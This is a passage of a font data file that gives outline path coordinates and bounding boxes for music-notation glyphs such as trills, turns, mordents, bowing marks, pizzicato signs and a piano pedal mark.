190 b 359 287 405 236 389 265 b 261 325 328 308 294 315 b 168 413 216 340 181 366 b 166 426 167 418 166 423 b 176 438 166 432 167 436 b 199 441 183 441 190 441 b 310 393 238 441 295 422 b 334 370 317 376 325 370 b 363 386 343 370 353 379 b 422 445 386 402 408 420 b 426 458 425 449 426 454 b 422 469 426 462 425 465 b 274 546 395 518 333 546 b 161 503 232 546 190 531 b 86 405 132 472 108 439 b 71 347 75 387 71 367 b 112 256 71 312 85 279 b 209 215 141 232 176 226 b 284 168 238 206 266 197 b 300 131 291 157 300 144 b 298 120 300 127 298 122 b 278 107 294 109 285 108 b 262 108 271 107 266 108 l 259 108 b 114 157 200 107 156 125 b 96 181 104 163 96 170 l 96 184 b 102 202 96 190 102 196 b 96 209 102 204 101 207 b 63 194 82 215 72 204 b 7 109 42 168 26 138 b 0 86 3 101 0 94 b 13 60 0 78 4 68 b 151 0 53 23 101 0 z' }, 'dynamicZ': { 'x_min': -42.73880183193087, 'x_max': 331, 'y_min': 0, 'y_max': 328, 'ha': 328, 'o': 'm -45 0 b -6 16 -32 0 -17 10 b 3 20 -3 16 0 19 b 144 60 49 48 96 60 b 284 22 190 60 238 46 b 348 4 305 10 327 4 b 461 75 393 4 435 30 b 468 91 464 81 467 86 b 456 104 468 95 465 99 b 287 173 402 131 348 167 b 239 176 271 174 255 176 b 168 174 217 176 194 174 b 367 340 236 236 298 294 b 459 423 402 363 432 392 b 477 454 467 431 475 442 b 474 462 477 456 475 459 b 454 472 469 469 462 472 b 432 468 446 472 439 469 b 356 448 406 461 380 455 b 210 422 307 433 258 422 b 109 442 177 422 144 428 b 94 445 104 444 99 445 b 69 433 85 445 76 442 b 27 390 56 419 39 406 b -9 343 16 373 -17 357 b 63 311 3 320 36 314 l 78 311 b 132 307 95 308 114 307 b 240 314 168 307 203 311 l 193 271 b -37 50 117 196 19 145 b -59 7 -46 36 -69 20 b -45 0 -55 3 -50 0 z' }, 'ornamentTrill': { 'x_min': 1, 'x_max': 551, 'y_min': -18, 'y_max': 539, 'ha': 557, 'o': 'm 269 -17 b 343 135 325 19 346 66 b 343 158 343 147 344 147 b 323 192 341 171 337 187 b 291 176 311 194 300 184 b 264 148 282 167 274 158 b 229 131 261 145 238 131 b 212 170 209 131 213 154 b 194 438 203 259 199 348 l 272 442 b 284 452 276 441 279 441 b 305 462 287 461 295 462 b 312 462 307 462 310 462 b 346 477 325 462 340 464 b 366 560 357 503 366 531 b 321 612 366 598 356 618 b 190 602 278 605 235 605 l 190 638 b 187 693 190 652 190 667 b 161 776 184 717 193 776 b 137 747 150 776 137 766 b 130 654 135 716 131 685 l 130 596 l 52 588 b 4 539 23 585 7 570 b 1 477 3 530 1 500 b 3 448 1 461 3 448 b 3 461 3 448 3 452 b 53 432 0 438 19 432 b 134 435 75 432 102 433 b 151 117 138 328 147 223 b 170 13 153 82 157 46 b 209 -26 179 -10 193 -26 b 222 -22 213 -26 217 -24 b 269 -17 233 -16 253 -27 z m 549 66 b 577 99 563 66 572 84 b 580 131 580 109 580 121 l 580 302 b 600 347 580 318 582 337 b 701 392 632 364 665 384 b 793 518 785 409 793 435 b 759 588 793 559 785 576 b 711 560 749 592 733 570 b 588 500 671 541 631 521 b 583 533 586 514 586 524 b 560 576 577 549 577 572 b 517 550 541 582 528 564 b 416 423 482 508 452 462 b 382 353 392 397 384 370 b 387 305 380 341 386 318 b 392 275 389 295 392 285 b 409 243 393 262 393 243 b 431 262 419 243 425 255 b 521 373 459 298 488 333 b 523 354 521 366 523 360 b 520 337 523 346 521 340 b 508 295 513 323 508 310 b 530 102 508 279 524 122 b 549 66 533 88 530 66 z' }, 'ornamentTurn': { 'x_min': 0, 'x_max': 574, 'y_min': 0, 'y_max': 312, 'ha': 312, 'o': 'm 651 0 b 816 132 727 0 796 46 b 827 223 822 163 827 193 b 808 340 827 262 821 301 b 665 449 785 408 729 449 b 636 446 655 449 647 448 b 589 384 600 441 586 422 l 602 300 b 611 285 603 291 605 285 b 621 288 613 285 616 287 b 655 295 632 294 644 295 b 711 284 674 295 693 289 b 773 209 740 275 773 232 b 697 156 773 184 734 160 b 664 154 685 154 675 154 b 579 168 635 154 608 158 b 455 242 533 186 495 213 b 261 400 387 291 331 354 b 160 432 225 422 190 432 b 20 328 98 432 49 392 b 0 229 6 295 0 262 b 30 71 0 176 14 122 b 144 3 43 29 96 3 b 168 6 153 3 160 4 b 248 122 233 20 248 39 b 246 147 248 124 248 135 b 226 177 243 164 239 177 b 206 170 220 177 215 174 b 144 154 186 158 166 154 b 79 170 122 154 101 160 b 53 202 62 179 53 189 b 60 228 53 209 55 217 b 161 281 81 261 120 281 b 183 279 168 281 176 281 b 325 190 243 269 284 229 b 572 16 402 124 475 53 b 651 0 598 6 625 0 z' }, 'ornamentTurnSlash': { 'x_min': 0, 'x_max': 574, 'y_min': -106, 'y_max': 405, 'ha': 511, 'o': 'm 441 -153 b 456 -60 455 -118 456 -89 b 455 81 455 -14 455 33 b 572 14 491 55 530 30 b 651 -1 598 4 625 -1 b 816 131 727 -1 796 45 b 827 222 822 161 827 192 b 808 338 827 261 821 300 b 665 448 785 406 729 448 b 636 445 655 448 647 446 b 589 383 600 439 586 420 l 602 298 b 611 284 603 289 605 284 b 621 287 613 284 616 285 b 655 294 632 292 644 294 b 711 282 674 294 693 288 b 773 207 740 274 773 230 b 697 154 773 183 734 158 b 664 153 685 153 675 153 b 579 167 635 153 608 157 b 455 240 533 183 495 212 b 454 242 455 240 455 242 l 454 337 b 452 488 454 386 452 439 b 433 570 452 517 451 546 b 425 583 431 575 431 583 l 422 583 b 403 566 415 582 408 573 b 402 546 400 560 402 553 l 397 287 b 261 399 353 325 310 366 b 160 431 225 420 190 431 b 20 327 98 431 48 390 b 0 228 6 294 0 261 b 30 69 0 174 14 121 b 144 1 43 27 96 1 b 168 4 153 1 160 3 b 248 121 233 19 248 37 b 246 145 248 122 248 134 b 226 176 243 163 239 176 b 206 168 220 176 215 173 b 144 153 186 157 166 153 b 79 168 122 153 101 158 b 53 200 62 177 53 187 b 60 226 53 207 55 216 b 161 279 79 259 120 279 b 183 278 168 279 176 279 b 325 189 243 266 282 226 b 395 130 348 168 372 148 b 393 71 393 109 393 89 b 441 -153 390 -6 402 -78 z' }, 'ornamentMordent': { 'x_min': 0, 'x_max': 700, 'y_min': 0, 'y_max': 497, 'ha': 497, 'o': 'm 513 0 b 528 39 526 14 527 27 b 531 72 531 50 531 60 b 528 138 531 94 528 117 l 528 347 b 552 359 537 354 544 359 b 579 338 560 359 569 353 b 674 217 609 297 639 255 b 719 190 690 200 704 190 b 759 215 732 190 744 197 b 940 395 815 279 877 337 b 1001 490 968 422 986 455 b 1008 513 1004 495 1008 505 b 1002 524 1008 517 1007 521 b 968 516 994 530 978 524 b 960 508 965 513 963 510 b 798 356 900 464 848 410 b 778 341 791 347 783 341 b 757 354 772 341 765 346 b 661 475 720 392 690 432 b 611 517 644 504 629 517 b 563 498 598 517 583 511 b 527 471 550 490 539 481 l 527 570 b 492 716 526 619 523 671 b 472 677 480 704 472 694 b 465 399 474 585 468 491 b 439 366 456 387 448 376 b 384 320 415 336 399 320 b 330 367 369 320 354 336 b 325 376 328 369 327 373 b 226 490 291 413 265 456 b 189 505 213 500 202 505 b 157 491 177 505 167 500 b 0 229 75 420 0 346 b 1 202 0 220 0 212 b 22 215 12 203 16 209 b 124 327 55 252 89 289 b 147 343 132 337 140 343 b 171 323 156 343 164 336 b 266 197 196 276 232 236 b 337 157 291 170 314 157 b 410 207 361 157 386 174 b 461 274 428 229 444 252 b 462 166 461 238 461 202 b 513 0 465 108 487 55 z' }, 'ornamentShortTrill': { 'x_min': 0, 'x_max': 747, 'y_min': 0, 'y_max': 243, 'ha': 243, 'o': 'm 379 0 b 428 14 395 0 410 4 b 474 56 445 26 461 39 b 552 157 500 89 526 122 b 566 168 556 163 560 168 b 575 157 569 168 572 166 b 664 36 592 107 628 72 b 733 1 685 13 710 1 b 802 35 757 1 780 13 b 1007 249 871 105 940 177 b 1067 324 1028 272 1054 295 b 1076 340 1068 330 1076 334 b 1073 346 1076 341 1076 343 b 1057 350 1068 348 1063 350 b 1047 347 1053 350 1050 350 b 1001 310 1031 336 1015 324 l 857 157 b 844 143 852 153 848 143 b 835 150 841 143 838 144 b 757 242 815 186 780 209 b 685 298 739 268 713 284 b 641 310 670 305 655 310 b 590 288 625 310 608 304 b 497 179 554 256 527 215 b 480 164 490 170 485 164 b 462 179 474 164 469 168 b 372 295 436 220 405 258 b 278 344 346 324 312 344 b 199 310 252 344 226 334 b 92 196 161 274 128 233 b 0 24 46 148 23 89 b 42 48 22 27 32 37 b 156 168 84 85 114 132 b 196 192 174 184 186 192 b 228 158 206 192 215 181 b 312 36 252 114 282 75 b 379 0 331 12 354 0 z' }, 'ornamentTremblement': { 'x_min': 0, 'x_max': 982.17691453624, 'y_min': 0, 'y_max': 224, 'ha': 224, 'o': 'm 0 0 b 63 36 30 12 48 23 b 157 124 94 66 125 94 b 177 135 164 131 170 135 b 196 122 183 135 189 131 b 268 40 217 94 245 68 b 323 6 288 16 304 6 b 369 20 336 6 350 10 b 412 53 384 29 399 40 b 501 145 442 84 472 114 b 523 158 508 154 516 158 b 543 145 528 158 536 154 b 641 45 576 112 608 78 b 698 17 658 27 677 17 b 729 23 708 17 719 20 b 804 65 756 32 780 46 b 904 154 837 95 871 124 b 920 163 910 160 916 163 b 936 153 924 163 930 160 b 1024 60 965 121 996 92 b 1112 13 1053 29 1080 13 b 1184 39 1135 13 1158 22 b 1359 194 1248 84 1305 138 b 1413 301 1388 223 1403 261 b 1404 323 1417 315 1413 323 b 1391 320 1400 323 1395 321 b 1344 294 1375 314 1358 307 b 1224 186 1305 258 1269 216 b 1194 173 1212 179 1202 173 b 1165 193 1184 173 1175 179 b 1096 271 1145 222 1122 248 b 1001 318 1061 302 1031 318 b 903 268 969 318 937 301 b 806 186 871 239 841 210 b 782 174 796 179 789 174 b 756 193 773 174 765 180 b 652 291 729 232 693 266 b 596 308 634 302 615 308 b 530 278 573 308 552 298 l 415 168 b 393 157 408 161 400 157 b 373 171 387 157 380 161 b 305 245 353 197 330 222 b 248 276 285 266 266 278 b 189 245 229 276 210 266 b 81 144 156 209 120 174 b 0 0 33 109 26 56 z' }, 'ornamentPrecompAppoggTrill': { 'x_min': -0.11067192132025548, 'x_max': 1066, 'y_min': -50, 'y_max': 533.1706452421108, 'ha': 583.1706452421108, 'o': 'm 187 -46 b 213 -14 197 -37 204 -26 b 285 151 251 36 266 94 b 304 189 294 177 297 189 b 337 168 311 189 320 181 b 458 33 386 131 415 76 b 495 12 472 19 484 12 b 531 40 508 12 518 22 b 580 168 557 79 569 124 b 622 235 592 213 603 235 b 683 194 636 235 655 222 b 838 26 737 140 791 86 b 919 -33 860 -1 881 -39 b 984 53 960 -27 971 19 b 1022 156 998 86 1008 122 b 1054 190 1032 179 1041 190 b 1089 167 1063 190 1074 183 b 1208 32 1129 122 1171 78 b 1244 10 1221 17 1231 10 b 1273 22 1253 10 1263 14 b 1496 206 1352 78 1427 137 b 1535 310 1526 236 1535 272 b 1531 359 1535 325 1534 343 b 1496 343 1515 360 1506 351 l 1309 192 b 1269 167 1289 176 1279 167 b 1234 199 1260 167 1251 177 b 1122 324 1200 243 1168 289 b 1074 344 1106 337 1089 344 b 1014 301 1051 344 1030 328 b 952 144 985 252 971 197 b 933 121 946 128 940 121 b 910 137 927 121 920 125 b 850 210 888 161 870 186 b 687 369 799 266 750 325 b 631 390 665 383 647 390 b 567 327 602 390 580 369 b 527 199 554 284 543 242 b 508 168 520 179 514 168 b 482 192 503 168 495 177 b 353 328 444 240 405 292 b 312 343 338 338 324 343 b 266 297 292 343 276 327 b 204 125 248 239 232 180 b 143 79 193 102 173 79 b 92 122 117 79 105 102 b 81 154 86 131 84 143 b 48 423 59 242 50 333 b 45 544 46 464 45 504 b 53 730 45 606 48 668 b 40 768 55 744 52 766 b 13 730 19 770 14 747 b 0 514 7 658 -1 586 b 26 122 3 383 6 252 b 75 -36 35 66 40 10 b 134 -72 92 -59 112 -72 b 187 -46 151 -72 170 -63 z' }, 'ornamentPrecompSlideTrillDAnglebert': { 'x_min': 0, 'x_max': 1088, 'y_min': -380, 'y_max': 252, 'ha': 632, 'o': 'm 560 -539 b 439 -481 527 -497 484 -485 b 354 -461 409 -478 380 -477 b 131 -154 236 -389 161 -285 b 124 -98 127 -135 124 -117 b 196 55 124 -40 148 10 b 308 99 230 86 268 99 b 399 81 337 99 367 92 b 514 22 441 66 477 43 b 619 -30 567 -9 590 -30 b 719 17 642 -30 670 -16 b 861 131 769 52 818 88 b 899 150 874 144 887 150 b 936 117 913 150 926 138 b 965 43 948 94 956 68 b 1007 -1 973 24 978 -1 b 1048 30 1025 -1 1037 16 b 1070 65 1057 40 1064 52 b 1110 148 1084 92 1096 121 b 1145 190 1120 164 1120 190 b 1191 153 1169 192 1179 168 b 1256 29 1218 115 1231 68 b 1292 1 1267 10 1277 1 b 1320 10 1300 1 1309 4 b 1369 48 1339 19 1355 33 b 1515 196 1418 96 1464 148 b 1567 343 1558 238 1567 287 b 1555 363 1565 357 1562 363 b 1539 356 1551 363 1547 360 b 1433 268 1502 330 1466 301 b 1335 171 1401 236 1374 199 b 1310 163 1325 166 1318 163 b 1286 183 1302 163 1293 168 b 1218 311 1264 226 1247 272 b 1164 351 1200 337 1182 351 b 1110 308 1146 351 1128 337 b 1031 176 1084 265 1058 219 b 1015 161 1025 166 1021 161 b 999 179 1009 161 1005 167 b 955 279 985 213 973 248 b 913 307 943 300 930 307 b 887 302 904 307 896 305 b 852 281 874 298 863 291 b 693 167 804 236 747 204 b 612 140 667 150 639 140 b 549 157 592 140 570 145 b 403 220 503 181 452 202 b 271 248 360 236 315 248 b 179 229 239 248 209 242 b 0 -29 65 180 0 85 b 9 -104 0 -53 3 -78 b 397 -526 56 -317 183 -464 b 505 -547 432 -536 468 -547 b 560 -539 524 -547 541 -544 z' }, 'ornamentPrecompSlideTrillBach': { 'x_min': 0, 'x_max': 1185, 'y_min': -380, 'y_max': 465, 'ha': 845, 'o': 'm 624 -544 b 642 -528 638 -543 642 -537 b 639 -514 642 -524 642 -520 b 590 -444 629 -487 609 -467 b 523 -413 573 -422 553 -410 b 498 -415 514 -415 507 -415 b 399 -389 464 -415 431 -405 b 89 -157 281 -330 176 -255 b 72 -117 78 -144 72 -131 b 73 -101 72 -111 72 -107 b 187 186 91 3 147 91 b 246 230 200 216 222 230 b 300 209 262 230 281 223 b 456 48 359 163 403 101 b 540 -10 494 10 518 -10 b 625 59 566 -10 589 13 b 690 148 648 88 668 118 b 711 167 697 160 704 167 b 733 153 719 167 724 163 b 844 14 769 105 808 60 b 903 -42 873 -23 886 -42 b 973 -1 919 -42 937 -27 b 1008 33 986 7 996 20 b 1048 81 1021 48 1035 65 b 1050 37 1048 66 1050 52 b 1047 -24 1050 17 1048 -3 b 1038 -275 1038 -108 1040 -192 l 1037 -289 b 1045 -302 1037 -295 1038 -301 b 1068 -284 1056 -304 1064 -292 b 1084 -242 1076 -271 1081 -256 b 1099 -109 1096 -199 1099 -154 b 1106 158 1099 -19 1106 71 b 1128 187 1113 167 1120 177 b 1168 223 1143 212 1155 223 b 1210 193 1179 223 1191 213 b 1220 183 1214 190 1215 186 b 1329 36 1261 138 1292 84 b 1374 7 1345 16 1358 7 b 1411 20 1384 7 1395 12 b 1479 84 1437 37 1459 59 b 1610 235 1521 135 1564 186 b 1706 403 1655 282 1695 334 b 1614 346 1663 400 1637 373 b 1464 170 1564 287 1515 228 b 1440 150 1453 156 1447 150 b 1414 173 1433 150 1426 158 b 1283 336 1371 228 1333 288 b 1220 366 1261 356 1240 366 b 1148 318 1194 366 1169 350 b 1103 255 1133 297 1119 275 b 1097 301 1102 271 1100 285 b 1099 334 1099 312 1099 324 b 1092 428 1099 367 1094 397 b 1071 647 1087 501 1079 575 b 1058 670 1071 657 1071 670 b 1035 648 1047 670 1038 661 b 1018 516 1024 605 1015 560 b 1041 203 1025 412 1037 307 b 1043 180 1041 196 1043 187 b 992 127 1027 161 1009 143 b 965 111 981 117 972 111 b 936 132 955 111 946 120 b 829 268 900 179 867 225 b 760 317 801 301 780 317 b 691 258 739 317 719 297 b 605 147 664 219 641 177 b 589 138 599 141 593 138 b 572 148 583 138 579 141 b 415 317 520 206 467 261 b 327 372 390 343 366 366 b 300 373 317 373 308 373 b 154 295 239 373 190 348 b 55 138 120 243 85 192 b 0 -53 22 79 0 13 b 160 -317 0 -156 49 -252 b 209 -354 177 -327 192 -343 b 510 -531 305 -419 397 -495 b 593 -547 537 -540 564 -547 b 624 -544 603 -547 613 -546 z' }, 'ornamentPrecompTrillSuffixDandrieu': { 'x_min': 0, 'x_max': 1003, 'y_min': -20, 'y_max': 521, 'ha': 541, 'o': 'm 791 -16 b 844 33 812 -3 829 14 b 981 271 900 107 937 190 b 994 288 984 278 985 288 b 1009 269 1004 288 1007 278 b 1077 112 1034 217 1051 163 b 1158 43 1103 62 1129 43 b 1231 69 1179 43 1204 55 b 1348 189 1280 98 1315 143 b 1444 451 1407 271 1444 357 b 1431 547 1444 482 1440 514 b 1188 750 1401 665 1299 750 b 1158 747 1178 750 1168 749 b 1079 684 1119 742 1089 727 b 1063 632 1076 665 1071 648 b 1056 609 1058 622 1056 615 b 1071 599 1056 602 1060 599 b 1086 600 1076 599 1080 600 b 1130 605 1102 603 1116 605 b 1244 569 1171 605 1210 595 b 1349 346 1322 511 1349 433 b 1348 312 1349 334 1349 324 b 1289 197 1345 266 1325 228 b 1238 174 1270 181 1253 174 b 1188 215 1220 174 1202 187 b 1145 308 1172 245 1159 276 b 1096 413 1129 343 1120 382 b 1053 438 1084 431 1068 438 b 1011 413 1038 438 1022 431 b 955 324 989 384 971 354 b 850 127 920 258 886 192 b 838 112 847 121 842 112 b 824 128 828 109 825 121 b 802 193 815 150 809 171 b 730 400 779 264 766 337 b 688 431 719 420 703 431 b 647 403 674 431 660 422 b 606 338 632 383 619 361 b 513 167 575 282 546 223 b 480 122 503 150 498 122 b 452 171 459 122 459 153 b 420 255 442 199 432 228 b 337 408 399 308 380 364 b 276 436 317 428 297 436 b 215 397 253 436 230 423 b 23 72 148 289 81 184 b 0 29 17 59 0 40 b 7 17 0 23 1 20 b 59 58 26 7 46 39 b 190 276 111 127 143 206 b 216 301 202 292 207 301 b 245 279 223 301 232 294 b 311 166 278 248 292 206 b 367 16 331 117 346 65 b 402 -19 377 -7 387 -19 b 438 -4 412 -19 423 -13 b 518 88 474 17 495 55 b 628 284 562 150 592 216 b 657 223 648 266 651 243 b 717 13 677 154 696 84 b 755 -29 726 -16 737 -29 b 791 -16 765 -29 776 -24 z' }, 'ornamentPrecompDoubleCadenceUpperPrefix': { 'x_min': 0, 'x_max': 1246, 'y_min': -30, 'y_max': 296.0302860502196, 'ha': 326.0302860502196, 'o': 'm 360 -43 b 559 59 445 -43 503 7 b 698 236 615 111 652 179 b 714 248 704 243 710 248 b 727 235 719 248 721 243 l 848 42 b 883 12 860 22 870 12 b 917 32 891 12 903 19 b 946 62 927 42 939 50 b 1037 192 972 108 1009 147 b 1057 210 1044 204 1051 210 b 1076 190 1063 210 1068 203 l 1176 12 b 1215 -19 1188 -9 1201 -19 b 1250 -6 1225 -19 1237 -14 b 1284 27 1264 3 1274 16 b 1380 190 1323 78 1351 135 b 1395 210 1384 197 1385 210 b 1413 190 1405 210 1410 197 b 1508 40 1436 134 1467 85 b 1564 3 1529 14 1547 3 b 1617 32 1580 3 1597 12 b 1767 238 1678 92 1719 167 b 1794 310 1781 259 1791 282 b 1752 294 1776 317 1764 304 b 1656 164 1711 258 1689 206 b 1629 144 1646 151 1637 144 b 1603 161 1620 144 1613 150 b 1502 315 1562 207 1525 258 b 1452 357 1490 344 1470 357 b 1397 320 1431 357 1411 344 b 1316 170 1368 271 1345 219 b 1280 127 1306 154 1303 127 b 1244 171 1256 127 1254 154 b 1145 337 1210 226 1179 282 b 1110 363 1135 354 1122 363 b 1070 338 1097 363 1084 354 b 1050 311 1063 330 1057 320 b 959 181 1017 271 992 223 b 939 167 950 173 945 167 b 920 184 933 167 927 173 b 818 343 887 238 852 291 b 759 395 795 377 778 395 b 701 344 742 395 724 377 b 698 338 700 341 700 340 b 544 154 652 272 605 207 b 412 98 501 117 458 98 b 304 130 377 98 341 108 b 95 373 204 187 144 275 b 58 426 85 393 82 428 b 19 366 26 426 26 389 b 0 307 13 346 0 327 b 4 287 0 300 1 294 b 174 36 49 194 91 102 b 360 -43 230 -9 289 -43 z' }, 'ornamentPrecompDoubleCadenceUpperPrefixTurn': { 'x_min': 0, 'x_max': 1226, 'y_min': -237, 'y_max': 436, 'ha': 673, 'o': 'm 1279 -341 b 1293 -252 1293 -307 1295 -278 b 1277 36 1287 -156 1282 -59 l 1273 118 b 1318 176 1289 137 1303 157 b 1349 203 1332 193 1342 203 b 1378 168 1359 203 1367 192 b 1456 35 1401 122 1428 78 b 1511 -12 1476 3 1493 -12 b 1568 23 1526 -12 1544 0 b 1597 53 1578 32 1588 42 b 1705 186 1629 101 1669 143 b 1761 284 1728 216 1751 246 b 1765 300 1763 288 1765 295 b 1763 307 1765 302 1765 305 b 1737 302 1754 311 1744 308 b 1718 287 1729 298 1725 292 b 1598 145 1673 245 1637 194 b 1578 130 1590 135 1584 130 b 1557 147 1571 130 1565 135 b 1447 321 1516 202 1488 265 b 1403 351 1433 341 1417 351 b 1358 323 1388 351 1372 341 b 1269 209 1329 285 1299 248 b 1254 521 1264 314 1259 418 b 1228 616 1253 554 1247 588 b 1218 628 1224 621 1223 628 l 1215 628 b 1201 613 1210 626 1202 619 b 1200 600 1200 609 1200 605 l 1200 586 b 1211 348 1204 507 1207 428 b 1217 166 1214 288 1215 226 b 1202 181 1212 168 1208 174 b 1094 334 1168 233 1130 284 b 1048 366 1079 356 1064 366 b 1004 331 1034 366 1018 354 b 904 154 969 275 930 220 b 873 202 887 171 880 187 b 778 356 845 256 819 311 b 737 379 763 372 750 379 b 698 353 724 379 711 370 l 621 232 b 415 114 570 154 495 114 b 302 138 377 114 340 121 b 73 400 187 192 117 284 b 55 420 69 415 62 420 b 42 410 50 420 45 416 b 0 292 23 373 0 334 b 4 262 0 282 1 272 b 168 39 32 168 92 99 b 359 -26 225 -6 292 -26 b 585 76 446 -26 530 10 b 668 202 616 115 641 160 b 693 228 680 219 687 228 b 720 203 700 228 707 219 b 801 63 752 160 775 111 b 844 7 812 42 818 7 b 910 66 877 6 894 39 b 923 94 916 75 919 85 b 995 219 945 137 968 179 b 1025 184 1009 210 1017 197 b 1119 56 1054 141 1087 98 b 1166 20 1138 32 1152 20 b 1215 50 1181 20 1195 30 b 1221 56 1217 52 1218 55 b 1228 -163 1223 -17 1225 -89 b 1279 -341 1231 -223 1251 -278 z' }, 'ornamentPrecompTrillLowerSuffix': { 'x_min': 0, 'x_max': 833, 'y_min': -309, 'y_max': 319, 'ha': 628, 'o': 'm 778 -444 b 801 -445 785 -444 793 -445 b 1037 -338 894 -445 969 -397 b 1200 37 1149 -240 1200 -109 b 1084 406 1200 171 1172 300 b 1024 444 1064 431 1043 444 b 960 390 999 444 978 426 b 841 163 923 314 886 236 b 812 128 832 150 827 128 b 786 167 796 130 793 153 b 660 418 744 251 716 341 b 599 459 639 445 619 459 b 541 410 577 459 557 444 b 439 197 507 340 474 269 b 422 179 435 190 435 179 b 338 393 392 251 379 328 b 275 439 320 423 298 439 b 212 396 253 439 230 425 b 71 219 170 333 128 268 b 0 45 17 173 16 112 b 68 98 32 62 50 78 b 194 264 112 150 153 209 b 230 292 209 282 219 292 b 264 261 240 292 251 282 b 274 242 268 255 269 248 b 346 46 304 179 325 112 b 376 10 351 32 354 10 b 412 35 392 10 403 22 b 452 107 429 56 441 82 b 541 291 481 168 511 230 b 556 307 547 302 552 307 b 573 295 562 307 567 302 b 624 217 595 272 611 246 b 721 1 657 145 685 72 b 755 -27 732 -19 742 -27 b 786 -16 765 -27 775 -24 b 857 73 819 7 840 39 b 952 256 887 134 920 194 b 978 289 963 279 969 289 b 1009 262 985 289 994 281 b 1030 235 1017 253 1024 245 b 1110 -4 1071 161 1099 81 b 1116 -68 1113 -26 1116 -48 b 1009 -243 1116 -140 1090 -200 b 848 -291 956 -272 901 -291 b 730 -261 809 -291 770 -282 b 696 -248 714 -252 703 -248 b 671 -284 684 -248 678 -258 l 662 -312 b 657 -357 658 -330 657 -344 b 744 -439 657 -403 683 -425 z' }, 'stringsDownBow': { 'x_min': 0, 'x_max': 306, 'y_min': -0.09607201951262866, 'y_max': 366, 'ha': 366.09607201951263, 'o': 'm 405 0 b 425 17 413 -1 420 9 b 439 66 435 32 439 48 b 441 268 439 137 441 202 b 436 412 441 314 439 361 l 435 413 b 423 469 435 436 431 456 b 344 508 406 501 373 501 b 204 527 298 520 251 527 b 60 498 156 527 108 518 b 7 438 32 485 10 468 l 7 426 b 4 337 7 396 7 367 b 0 140 0 272 0 206 b 1 42 0 107 0 73 b 13 3 1 27 -3 4 b 40 39 29 3 35 24 b 42 53 42 43 40 49 b 49 141 48 84 49 112 b 48 215 49 167 48 192 b 49 252 48 228 48 240 l 49 312 b 130 343 72 331 99 340 b 206 347 156 346 180 347 b 372 314 262 347 318 338 l 390 307 l 390 245 b 390 138 392 212 390 176 b 397 23 390 101 392 62 b 405 0 399 14 393 1 z' }, 'stringsUpBow': { 'x_min': 0, 'x_max': 219.2842808242076, 'y_min': 0, 'y_max': 489, 'ha': 489, 'o': 'm 150 0 l 151 0 b 184 42 170 12 180 26 b 297 554 223 212 261 382 b 315 690 305 598 318 645 b 304 704 315 697 311 704 b 276 670 288 704 282 697 b 157 131 236 490 196 311 l 157 144 b 73 526 134 276 104 396 b 30 677 60 576 52 638 b 13 694 26 684 22 694 b 0 674 9 694 0 691 l 0 671 b 10 603 3 649 6 626 b 105 174 42 461 72 317 b 150 0 117 117 128 58 z' }, 'stringsHarmonic': { 'x_min': 0, 'x_max': 191, 'y_min': 0, 'y_max': 202, 'ha': 202, 'o': 'm 143 0 b 275 122 217 0 275 53 b 127 291 275 206 202 291 b 0 154 63 291 0 222 b 143 0 0 76 71 0 z m 122 68 b 43 105 89 66 59 75 b 39 124 40 111 39 117 b 79 199 39 148 56 180 b 145 226 101 216 122 226 b 199 210 163 226 180 220 b 235 150 223 196 235 173 b 203 92 235 128 225 107 b 122 68 181 76 150 68 z' }, 'pluckedSnapPizzicatoAbove': { 'x_min': 0, 'x_max': 201, 'y_min': 0, 'y_max': 325, 'ha': 325, 'o': 'm 171 0 b 289 99 240 0 289 45 b 258 183 289 130 274 156 b 174 269 236 217 203 240 l 174 408 b 174 429 174 415 176 422 b 131 468 168 451 153 468 b 117 451 120 468 117 461 b 118 429 117 444 118 435 b 115 307 117 389 115 347 b 0 166 59 295 0 223 b 171 0 0 85 89 0 z m 134 55 b 52 131 84 55 52 85 b 115 233 52 179 81 209 b 114 192 114 220 114 206 b 174 120 114 137 114 137 l 174 228 b 233 148 200 207 223 183 b 236 130 235 143 236 135 b 197 72 236 105 223 85 b 134 55 177 60 157 55 z' }, 'pluckedSnapPizzicatoBelow': { 'x_min': 0, 'x_max': 211, 'y_min': 0, 'y_max': 307, 'ha': 307, 'o': 'm 145 7 b 163 0 153 3 158 0 b 173 23 170 0 173 7 l 173 140 l 170 140 l 170 163 l 171 163 b 206 170 179 164 193 166 b 304 287 264 186 304 233 b 281 354 304 308 297 333 b 118 442 240 412 186 439 b 0 324 69 442 0 370 b 115 176 0 266 55 202 l 115 56 b 145 7 114 33 125 19 z m 115 220 b 62 256 92 223 73 230 b 53 292 56 269 53 281 b 78 344 53 311 60 328 b 168 384 105 372 135 384 b 213 376 183 384 199 382 b 253 321 239 366 253 346 b 246 291 253 311 251 301 b 170 226 230 256 203 236 l 170 258 b 148 305 171 278 163 292 b 128 315 143 310 135 315 l 124 315 b 115 301 117 314 115 308 z' }, 'pluckedLeftHandPizzicato': { 'x_min': 0, 'x_max': 271, 'y_min': 0, 'y_max': 284, 'ha': 284, 'o': 'm 213 0 b 223 14 222 0 223 7 b 222 35 223 22 222 29 l 222 176 b 373 170 272 174 323 170 b 390 180 382 170 390 171 l 390 184 b 347 232 386 207 382 232 b 219 238 307 233 266 235 l 219 364 b 171 409 219 395 193 409 b 156 393 160 409 156 402 b 158 370 156 384 158 376 l 158 240 b 16 239 115 240 66 239 b 0 226 7 239 0 238 l 0 223 b 50 179 1 203 29 179 b 158 177 86 179 122 179 l 158 63 b 161 29 158 52 158 40 b 213 0 166 -1 194 1 z' }, 'keyboardPedalPed': { 'x_min': 0, 'x_max': 944, 'y_min': -13, 'y_max': 550, 'ha': 563, 'o': 'm 22 0 b 109 78 53 0 105 46 l 144 333 b 163 376 147 347 140 372 b 364 465 238 390 301 426 b 454 599 416 497 454 540 b 452 618 454 605 454 612 b 320 770 442 694 396 747 b 248 779 295 778 272 779 b 193 778 229 779 212 779 b 160 780 181 778 167 775 b 137 792 153 789 144 791 b 109 789 128 792 118 789 b 7 719 59 789 48 737 b 23 708 16 714 20 708 b 36 710 29 710 33 710 b 53 684 52 710 53 698 l 53 674 b 43 386 53 577 53 482 b 20 164 36 312 30 238 b 1 30 14 120 7 75 b 0 19 0 26 0 22 b 22 0 0 9 4 0 z m 393 -17 b 634 145 494 16 579 52 b 638 160 636 151 638 156 b 625 168 638 166 634 168 b 621 167 624 168 622 168 b 524 118 582 164 544 160 b 495 79 517 104 505 92 b 435 33 471 49 452 33 b 380 96 416 33 397 55 b 369 145 373 114 369 131 b 442 225 369 186 395 213 b 468 232 451 228 459 229 b 654 344 539 255 606 285 b 677 395 667 360 677 376 b 672 415 677 402 675 408 b 612 459 661 442 